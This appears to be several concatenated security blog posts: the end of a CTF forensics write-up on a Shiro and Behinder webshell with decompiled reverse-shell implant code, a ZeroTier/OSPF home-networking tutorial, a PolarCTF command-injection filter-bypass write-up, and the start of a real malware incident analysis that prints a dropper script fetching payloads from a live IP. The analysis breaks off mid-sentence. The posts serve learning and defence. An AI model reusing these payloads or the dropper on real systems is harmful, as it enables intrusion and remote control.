*/ /* loaded from: payload-favicondemo(736).ico.class */ public class Imrdoaaxs { ... public Imrdoaaxs() { cmd = ""; cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path += "/var/tmp/"; } ... } This provided an aes-key: IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=. No further HTTP communication occurred after this. Layer 3: Custom Shell Following the HTTP stream, a TCP stream communication was found. Dumping it revealed: 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 Due to the variable length, ECB and CBC were unlikely. GCM was considered a strong possibility, especially as the first two command lengths (31 and 30 bytes after decryption) corresponded to typical commands like pwd and ls, with the remaining bytes matching GCM's structure (12-byte nonce, 16-byte tag). Attempting GCM decryption: import base64 import binascii from Crypto.Cipher import AES key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) i = 0 chunk_idx = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] i += length nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}") chunk_idx += 1 The output was: 0: len3: b'pwd' 1: len8: b'/var/tmp' 2: len2: b'ls' 3: len3: b'out' 4: len20: b'echo Congratulations' 5: len15: b'Congratulations' 6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 8: len8: b'echo bye' 9: len3: b'bye' Putting 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi through CyberChef, applying Base58 then Base64 decryption yielded the Flag: dart{d9850b27-85cb-4777-85e0-df0b78fdb722} A later attempt to fully extract and reverse engineer the binary uploaded in chunks confirmed it was a PyInstaller-packaged ELF. Decompiling the extracted inspect.pyc revealed: # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.9 import os import socket import struct import subprocess import argparse import settings import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM SERVER_LISTEN_IP = '10.1.243.155' SERVER_LISTEN_PORT = 7788 IMPLANT_CONNECT_IP = '10.1.243.155' IMPLANT_CONNECT_PORT = 7788 SERVER_LISTEN_NUM = 20 _aesgcm = None def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）') _aesgcm = None(key) def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短，无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext def exec_cmd(command, code_flag): command = command.decode('utf-8') # WARNING: Decompyle incomplete def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data) def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8' # WARNING: Decompyle incomplete if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main() This confirmed the use of AES-GCM. Summary The complete attack chain was as follows: sequenceDiagram participant Attacker as Attacker / C2 Server participant WebServer as Web App Layer (Shiro / Behinder WebShell) participant OS as Underlying System (Linux OS) rect rgb(240, 248, 255) note right of Attacker: Phase 1: Shiro Exploitation & RCE Attacker->>WebServer: Continuous brute-force of rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 Redirect (Brute-force successful, AES Key obtained) Attacker->>WebServer: Send RCE Payload (Commands via Authorization header) WebServer->>OS: Spawn process to execute commands (whoami, ls -la, etc.) OS-->>WebServer: Return standard output (root, etc.) WebServer-->>Attacker: Return Base64 encrypted command results end rect rgb(255, 240, 245) note right of Attacker: Phase 2: Inject Memory-Shell & Post-Exploration Attacker->>WebServer: POST request to inject Behinder memory-shell WebServer-->>Attacker: Return injection success indicator (->|Success|<-) Attacker->>WebServer: Access /favicondemo.ico, send AES encrypted Java Classes WebServer->>OS: Read environment variables, network info, list /tmp & /var/tmp OS-->>WebServer: Return system status and file lists WebServer-->>Attacker: Return AES encrypted exploration results end rect rgb(240, 255, 240) note right of Attacker: Phase 3: Chunked Upload & Execution of Persistent Malware Attacker->>WebServer: Multiple requests to upload ELF malware in chunks WebServer->>OS: Append payload chunks to /var/tmp/out Attacker->>WebServer: Send hash verification request WebServer->>OS: Calculate MD5 hash of /var/tmp/out OS-->>WebServer: Verification successful WebServer-->>Attacker: Return hash confirming file integrity Attacker->>WebServer: Send commands chmod +x out and ./out --aes-key ... WebServer->>OS: Grant execute permissions and run malware with key parameter end rect rgb(255, 253, 230) note right of Attacker: Phase 4: TCP Reverse Connection & Deep Control OS->>Attacker: Pyinstaller malware initiates TCP reverse connection to C2 (10.1.243.155:7788) Attacker->>OS: Send AES-GCM encrypted commands (pwd, ls, echo) OS-->>Attacker: Return encrypted execution results (final output includes Flag) end Phase 1: Shiro Vulnerability Exploitation and RCE Verification The attacker successfully brute-forced the Apache Shiro AES key by sending GET requests containing rememberMe cookies. Subsequently, the attacker used the Authorization header to pass encrypted commands. The web server executed commands like whoami and returned the Base64 encrypted result root. Phase 2: Implanting Memory Webshell and Initial Control The attacker sent a POST request to the / path containing a Java class, successfully injecting a Behinder memory webshell, establishing the C2 channel on the /favicondemo.ico path. The attacker sent AES-encrypted Java classes through this channel, using the web application layer to read the underlying system's environment variables, IP information (172.18.0.2), and execute basic system commands (e.g., ps -ef). Phase 3: Malware Upload and Execution Through the webshell, the attacker used blockIndex and blockSize parameters to upload an ELF binary in chunks, appending it to /var/tmp/out, and verified its hash (a0275c1593af1adb). The attacker issued the shell command chmod +x out to grant execution permissions and ran the malware on the underlying system using ./out --aes-key .... Phase 4: TCP Reverse Connection to Obtain Flag Once executed, the Python-based malware bypassed the web layer and actively initiated a TCP connection to the attacker's C2 server (10.1.243.155:7788). Both parties switched to AES-GCM encryption. The attacker issued remote control commands like pwd, ls, and echo Congratulations, ultimately retrieving the Flag from the final response. Overall, it was quite an interesting challenge.
[Fun Experiment] A LAN Spanning 20km: Seamlessly Merging Remote Networks on OpenWrt Using ZeroTier + OSPF
Background I was originally setting up my own ZeroTier "big internal network". Because the network structure is relatively complex, I decided to use OSPF instead of static routes to configure internal routing. I had tried to configure ZeroTier on my home OpenWrt before but never succeeded. Recently, I took it out again to work on it and discovered it was a configuration issue with OpenWrt. After fixing it, I was chatting with a good friend and had an idea: Kagura iYoRoy: 02-10 14:49:05 Hey... Kagura iYoRoy: 02-10 14:49:06 Then... Kagura iYoRoy: 02-10 14:49:20 If you also set up OSPF on your router... Kagura iYoRoy: 02-10 14:49:27 Our two home networks would be directly interconnected, huh? ( Let's do it! Basic Information Local Side Router OS: OpenWrt, X-WRT 26.04_b202601250827 LAN IPv4 Prefix: 192.168.3.0/24 ISP: Hefei China Unicom NAT Environment: NAT1 Remote Side Router OS: OpenWrt, X-WRT 25.04_b202510240128 LAN IPv4 Prefix: 192.168.1.0/24 ISP: Hefei China Mobile NAT Environment: NAT1 Installing ZeroTier and Using a Self-Hosted Planet I used ZTNet as the self-hosted Controller. The setup process won't be elaborated here as you can find it online. The OpenWrt version I'm using has started using apk instead of opkg as the package manager. Use apk to install zerotier-one directly: apk add zerotier After completion, open /etc/config/zerotier to find the default configuration file. config zerotier 'global' # Sets whether ZeroTier is enabled or not option enabled 0 # Sets the ZeroTier listening port (default 9993; set to 0 for random) #option port '9993' # Client secret (leave blank to generate a secret on first run) option secret '' # Path of the optional file local.conf (see documentation at # https://docs.zerotier.com/config#local-configuration-options) #option local_conf_path '/etc/zerotier.conf' # Persistent configuration directory (to perform other configurations such # as controller mode or moons, etc.) #option config_path '/etc/zerotier' # Copy the contents of the persistent configuration directory to memory # instead of linking it, this avoids writing to flash #option copy_config_path '1' # Network configuration, you can have as many configurations as networks you # want to join (the network name is optional) config network 'earth' # Identifier of the network you wish to join option id '8056c2e21c000001' # Network configuration parameters (all are optional, if not indicated the # default values are set, see documentation at # https://docs.zerotier.com/config/#network-specific-configuration) option allow_managed '1' option allow_global '0' option allow_default '0' option allow_dns '0' # Example of a second network (unnamed as it is optional) #config network # option id '1234567890123456' # option allow_managed '1' # option allow_global '0' # option allow_default '0' # option allow_dns '0' Modify it according to your needs: config zerotier 'global' option enabled '1' # Enable ZeroTier client service option config_path '/etc/zerotier' # Persistent directory: for storing identity secret, Moon node definitions, and network settings option secret '' # Leave secret blank: identity will be auto-generated on first run and saved to identity.secret option copy_config_path '1' # Flash protection policy: copy config to memory on startup. If set to 0, read/write directly to Flash config network 'earth' option id '<network ID>' # 16-digit ZeroTier Network ID option allow_managed '1' # Allow receiving controller-assigned IPs, routes, and tags option allow_global '1' # Allow receiving globally routable IPv6 unicast addresses (GUA) via ZeroTier option allow_default '0' # Allow ZeroTier to take over the default gateway (similar to a global proxy) option allow_dns '1' # Allow receiving and using DNS servers configured in the ZeroTier control panel Regarding copy_config_path '1' Because the ZeroTier working directory /var/lib/zerotier-one is part of tmpfs in OpenWrt, its contents are cleared on reboot. Therefore, configurations like planet, identity, and network files need to be stored in the router's Flash storage, i.e., the path set in config_path. The default logic is to create a soft link from the configured config_path to /var/lib/zerotier-one on startup to achieve persistence. All read/write operations in /var/lib/zerotier-one are then written to Flash. However, frequent ZeroTier read/writes can significantly reduce Flash lifespan. Enabling copy_config_path '1' specifies that on ZeroTier startup, the configurations from config_path are copied directly into /var/lib/zerotier-one. This greatly extends the internal Flash lifespan, but the downside is that modifications made via zerotier-cli are not automatically synced back to Flash by default, making this option less suitable for scenarios requiring frequent configuration adjustments. After making changes, use: /etc/init.d/zerotier start /etc/init.d/zerotier enable to start ZeroTier and enable auto-start on boot. On first startup, if the secret field was left empty, it will be auto-generated. After startup, copy all files from /var/lib/zerotier-one to /etc/zerotier. Download the Planet file to the config_path set above, i.e., /etc/zerotier. After completion, restart ZeroTier: /etc/init.d/zerotier restart That's it. Then, go to your ZeroTier Controller console, and you should see the new device has joined. Next, you may need to allow ZeroTier traffic through the firewall. This step can be referenced from other online tutorials. I chose to allow all traffic; it shouldn't be a big issue under NAT1. Installing and Configuring Bird2 I didn't expect the Bird2 version in the apk repository to be very recent. As of this writing on 2026-02-10, the Bird2 version in apk is 2.18 Use the following command to install: apk add bird2 # bird daemon itself apk add bird2c # birdc command Because OpenWrt's default bird configuration file is located at /etc/bird.conf, and I prefer modular referencing by placing different configurations in separate folders based on function, I chose to move the default config file to /etc/bird/bird.conf and store various config files within that folder. Open /etc/init.d/bird: #!/bin/sh /etc/rc.common # Copyright (C) 2010-2017 OpenWrt.org USE_PROCD=1 START=70 STOP=10 BIRD_BIN="/usr/sbin/bird" BIRD_CONF="/etc/bird.conf" BIRD_PID_FILE="/var/run/bird.pid" start_service() { mkdir -p /var/run procd_open_instance procd_set_param command $BIRD_BIN -f -c $BIRD_CONF -P $BIRD_PID_FILE procd_set_param file "$BIRD_CONF" procd_set_param stdout 1 procd_set_param stderr 1 procd_set_param respawn procd_close_instance } reload_service() { procd_send_signal bird } Change the BIRD_CONF value to /etc/bird/bird.conf: - BIRD_CONF="/etc/bird.conf" + BIRD_CONF="/etc/bird/bird.conf" Then create the /etc/bird folder. All subsequent OSPF configuration files will be placed here. Configuring OSPF My configuration file structure follows these rules: /etc/bird/bird.conf serves as the sole entry point, defining basic configurations like Router ID, filter prefixes, and then including other sub-configurations. Configurations for different networks are placed in separate folders, e.g., public internet parts in /etc/bird/inet/, DN42 parts in /etc/bird/dn42/, and my own internal network parts in /etc/bird/intra/. Each network has a defs.conf handling common functions (similar to utils in Golang development?). Thus, the final configuration file structure is: /etc/bird/bird.conf: Configuration entry point define INTRA_ROUTER_ID = 100.64.0.100; define INTRA_PREFIX_V4 = [ 100.64.0.0/16+, 192.168.0.0/16+ ]; # IPv4 prefixes allowed to be advertised via OSPF define INTRA_PREFIX_V6 = [ fd18:3e15:61d0::/48+ ]; # IPv6 prefixes allowed to be advertised via OSPF protocol device { scan time 10; }; ipv4 table intra_table_v4; # Define internal routing IPv4 table ipv6 table intra_table_v6; # Define internal routing IPv6 table include "intra/defs.conf"; include "intra/kernel.conf"; include "intra/ospf.conf"; The RouterID here is directly taken from the node's IPv4 address within the ZeroTier internal network. Separate tables are used for future safety, e.g., if connecting this node to DN42. /etc/bird/intra/defs.conf: Functions for filters function is_intra_net4() { return net ~ INTRA_PREFIX_V4; } function is_intra_net6(){ return net ~ INTRA_PREFIX_V6; } function is_intra_dn42_net4(){ return net ~ [ 172.20.0.0/14+ ]; } function is_intra_dn42_net6(){ return net ~ [ fd00::/8+ ]; } /etc/bird/intra/kernel.conf: Write routes learned by OSPF into the system routing table protocol kernel intra_kernel_v4 { kernel table 254; scan time 20; ipv4 { table intra_table_v4; import none; export filter { if source = RTS_STATIC then reject; accept; }; }; }; protocol kernel intra_kernel_v6 { kernel table 254; scan time 20; ipv6 { table intra_table_v6; import none; export filter { if source = RTS_STATIC then reject; accept; }; }; }; /etc/bird/intra/ospf.conf: OSPF module protocol ospf v3 intra_ospf_v4 { router id INTRA_ROUTER_ID; # Specify RouterID ipv4 { table intra_table_v4; # Specify routing table import where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP; export where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 intra_ospf_v6 { router id INTRA_ROUTER_ID; # Specify RouterID ipv6 { table intra_table_v6; # Specify routing table import where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP; export where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP; }; include "ospf/*"; }; /etc/bird/intra/ospf/backbone.conf: OSPF Area Configuration area 0.0.0.0 { interface "br-lan" { stub; }; # Local LAN interface interface "zta7oqfzy6" { # ZeroTier interface type broadcast; cost 100; hello 20; }; }; After completion, use: /etc/init.d/bird start /etc/init.d/bird enable to start Bird and enable auto-start on boot. If everything is fine, you can use birdc s p to check Bird's status. If all goes well, after the other side is configured, you should see the OSPF state as Running: root@X-WRT:/etc/bird# birdc s p BIRD 2.18 ready. Name Proto Table State Since Info device1 Device --- up 14:28:02.410 intra_kernel_v4 Kernel intra_table_v4 up 14:28:02.410 intra_kernel_v6 Kernel intra_table_v6 up 14:28:02.410 intra_ospf_v4 OSPF intra_table_v4 up 14:28:02.410 Running intra_ospf_v6 OSPF intra_table_v6 up 14:31:38.389 Running Have your friend follow the same process. Once both sides show Running status, you can use birdc s r protocol intra_ospf_v4 to view the routes learned by OSPF. You'll find that routes to the other side via ZeroTier are being learned normally: root@X-WRT:/etc/bird# birdc s r protocol intra_ospf_v4 BIRD 2.18 ready. Table intra_table_v4: ... 192.168.1.0/24 unicast [intra_ospf_v4 23:20:21.398] * I (150/110) [100.64.0.163] via 100.64.0.163 on zta7oqfzy6 ... 192.168.3.0/24 unicast [intra_ospf_v4 14:28:02.511] * I (150/10) [100.64.0.100] dev br-lan You can also ping your friend's server from your PC: iyoroy@iYoRoy-PC:~$ ping 192.168.1.103 PING 192.168.1.103 (192.168.1.103) 56(84) bytes of data. 64 bytes from 192.168.1.103: icmp_seq=1 ttl=63 time=54.3 ms 64 bytes from 192.168.1.103: icmp_seq=2 ttl=63 time=10.7 ms 64 bytes from 192.168.1.103: icmp_seq=3 ttl=63 time=15.2 ms ^C --- 192.168.1.103 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 10.678/26.717/54.279/19.576 ms iyoroy@iYoRoy-PC:~$ traceroute 192.168.1.103 traceroute to 192.168.1.103 (192.168.1.103), 30 hops max, 60 byte packets 1 100.64.0.163 (100.64.0.163) 10.445 ms 9.981 ms 9.892 ms 2 192.168.1.103 (192.168.1.103) 11.621 ms 10.994 ms 10.948 ms Web browsing and speed tests work normally: Summary This series of operations essentially implements the following network structure: flowchart TB %% === Style Definitions === classDef phyNet fill:#e3f2fd,stroke:#1565c0,stroke-width:2px classDef virNet fill:#fff3e0,stroke:#ef6c00,stroke-width:2px,stroke-dasharray: 5 5 classDef router fill:#333,stroke:#000,stroke-width:2px,color:#fff classDef ztCard fill:#f57c00,stroke:#e65100,stroke-width:2px,color:#fff,shape:rect classDef bird fill:#a5d6a7,stroke:#2e7d32,stroke-width:1px,color:#000 classDef invisibleContainer fill:none,stroke:none,color:none %% === Physical Layer Containers === subgraph Top_Physical_Layer [" "] direction LR subgraph Left_Side ["My Home (Node A)"] direction TB L_Router[X-WRT Router A]:::router L_LAN[LAN: 192.168.3.0/24] L_LAN <--> L_Router end subgraph Right_Side ["Friend's Home (Node B)"] direction TB R_Router[X-WRT Router B]:::router R_LAN[LAN: 192.168.1.0/24] R_LAN <--> R_Router end end %% === Virtual Layer Container === subgraph Middle_Side [ZeroTier Virtual L2 Network] direction LR subgraph ZT_Stack_A [My Home ZT Access] direction TB L_NIC(zt0: 100.64.0.x):::ztCard L_Bird(Bird OSPF):::bird L_NIC <-.- L_Bird end subgraph ZT_Stack_B [Friend's Home ZT Access] direction TB R_NIC(zt0: 100.64.0.y):::ztCard R_Bird(Bird OSPF):::bird R_NIC <-.- R_Bird end L_NIC <==P2P Tunnel==> R_NIC end %% === Cross-Layer Connections === L_Router === L_NIC R_Router === R_NIC %% === Style Application === class Left_Side,Right_Side phyNet class Middle_Side virNet class Top_Physical_Layer invisibleContainer The underlying P2P network is still powered by ZeroTier. However, using OSPF for internal routing allows both sides to directly route to devices on each other's network segments. Since both sides can fully learn each other's routes, no NAT is required, and both sides can directly see each other's source addresses. Check out the other side of this story! From my friend's side: Linux Operations - OSPF Networking Implementation Based on Bird for New OpenWrt » NanamiのTechLaunchTower
PolarCTF 2025 Winter Competition Web Polarflag WriteUp
Opening the webpage, you can see it is a login page: Attempting to scan with dirsearch yields: Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed Discover /flag.txt, access it: <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return $temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> Attempting to run it reveals a syntax error. Correct it: ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; Running it yields: the_username_is_polar, hinting that the username is polar. Meanwhile, the challenge attachment provides a dictionary wordlist.txt. Attempt brute-forcing with BurpSuite: Brute-forcing reveals that when the password is 6666, it redirects to /polar.php: Access /polar.php, obtain: <?php error_reporting(0); session_start(); if(isset($_GET['logout'])){ session_destroy(); header('Location: index.php'); exit(); } // Initialize session variable if(!isset($_SESSION['collision_passed'])) { $_SESSION['collision_passed'] = false; } // The one who wants to win has no smile on their face if(isset($_POST['a']) && isset($_POST['b'])) { if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo "MD5 Well done \n"; $_SESSION['collision_passed'] = true; } else { echo "MD5 Not good enough\n"; $_SESSION['collision_passed'] = false; } } if(isset($_GET["polar"])){ if($_SESSION['collision_passed']) { if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){ echo "gun gun !"; } else { echo "polar polar !"; system($_GET["polar"]); } } else { echo "Go back, this part isn't needed\n"; } } else { show_source(__FILE__); echo ' Go home'; } ?> First, bypass the MD5 check by passing a[]=1&b[]=2: POST /polar.php HTTP/1.1 Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 11 a[]=1&b[]=2 The server returns: Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/ And prompts MD5 Well done, successfully bypassing. Since I used BurpSuite to send the request, I plan to use a regular browser next, so I write this cookie into the browser. Then directly access /polar.php?polar= to pass commands, no need to bypass MD5 again. Observing the regex filtering rules, many characters are blocked, including a series of symbols. First, try exporting environment variables with export, and discover a Flag: flag{7b93dd56-4f33-4738-b916-464a984093b3}, but submitting it shows it's incorrect. Asking customer service confirms this Flag is wrong. Since spaces are filtered, use $IFS$1 or %09 (Tab) to bypass. Also, because / is blocked, use ${PWD:0:1} (extract the first character of the PWD environment variable, which is /) instead. Construct the request: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1} Obtain: polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var Discover the Flag file: /polarflag. Since fl is filtered, cannot directly call the filename, so use ????????? to match a 9-character file. Commands like cat, tail, more, less that can print content are disabled, but commands like sort can still be used and also print content: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}????????? Obtain the Flag: flag{polarctf1314inwebgame}
The Reverse Engineering Journey: Analyzing a Server Compromise via RCE from CVE-2025-66478 and CVE-2025-55182
Background It was Saturday evening, and I was resting when Alibaba Cloud suddenly called, saying the server might have been hacked by intruders. I logged into the Alibaba Cloud console to check: What I had been worrying about finally happened. The recently disclosed CVE-2025-55182 vulnerability is exploitable for RCE (Remote Code Execution). The Umami analytics tool running on my server used a vulnerable version of Next.JS. Earlier in the morning, I had manually updated my Umami, but it seems the official patch had not been released yet. The server alert originated from the umami container, which executed a remote shell script. As a CTFer, it's hard to resist analyzing a sample delivered right to your doorstep, right? Analysis The Script The warning from Alibaba Cloud showed the execution of a shell script: /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh I tried to manually download that python1.sh: export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) # I found that it downloads the corresponding ELF file based on the CPU architecture. The Loader I 